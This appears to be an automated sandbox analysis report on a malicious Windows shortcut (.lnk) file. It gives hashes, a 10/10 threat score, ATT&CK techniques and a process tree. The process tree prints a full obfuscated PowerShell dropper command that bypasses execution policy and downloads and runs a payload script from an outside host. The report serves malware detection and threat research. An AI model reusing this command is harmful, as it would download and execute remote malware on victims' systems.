60a34b932b8d6dfbd8f69853862a25c395eb8e0541a90aee88ac60724fd5a3db

Analysis

max time kernel
143s
max time network
125s
platform
windows10-2004_x64
resource
win10v2004-20240419-en
resource tags

arch:x64arch:x86image:win10v2004-20240419-enlocale:en-usos:windows10-2004-x64system
submitted
02/05/2024, 23:59

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General

Target

0f332a1fc94ab197265e72316830f9c8_JaffaCakes118.lnk
Size

2KB
MD5

0f332a1fc94ab197265e72316830f9c8
SHA1

c03695ae826a6e0763e98bdbb33a2cfbec7cadc4
SHA256

60a34b932b8d6dfbd8f69853862a25c395eb8e0541a90aee88ac60724fd5a3db
SHA512

b6a5b083e803b7f8ff3df82748f60452cea157b052a41a0ffcc49c9866e718c7f085cef1257f44173aeaf186016378b73df337d85334a843076f55665a0f2fb2

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://checkerrors.ug./payload.ps1

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3411335054-1982420046-2118495756-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2492	powershell.exe
2492	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2492	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 3736 wrote to memory of 2492	3736	cmd.exe	84
PID 3736 wrote to memory of 2492	3736	cmd.exe	84

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\0f332a1fc94ab197265e72316830f9c8_JaffaCakes118.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3736
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Exec bypass -windo 1 $cd=[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('SUVY'));sal t $cd;$dc=((New-Object Net.WebClient)).DownloadString('http://checkerrors.ug./payload.ps1');t $dc
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2492

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_leauq3ge.ltf.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2492-2-0x00007FFFBAA33000-0x00007FFFBAA35000-memory.dmp

Filesize
8KB

Download
memory/2492-12-0x000001E65F780000-0x000001E65F7A2000-memory.dmp

Filesize
136KB

Download
memory/2492-13-0x00007FFFBAA30000-0x00007FFFBB4F1000-memory.dmp

Filesize
10.8MB

Download
memory/2492-14-0x00007FFFBAA30000-0x00007FFFBB4F1000-memory.dmp

Filesize
10.8MB

Download
memory/2492-15-0x00007FFFBAA30000-0x00007FFFBB4F1000-memory.dmp

Filesize
10.8MB

Download
memory/2492-16-0x00007FFFBAA30000-0x00007FFFBB4F1000-memory.dmp

Filesize
10.8MB

Download
memory/2492-19-0x00007FFFBAA30000-0x00007FFFBB4F1000-memory.dmp

Filesize
10.8MB

Download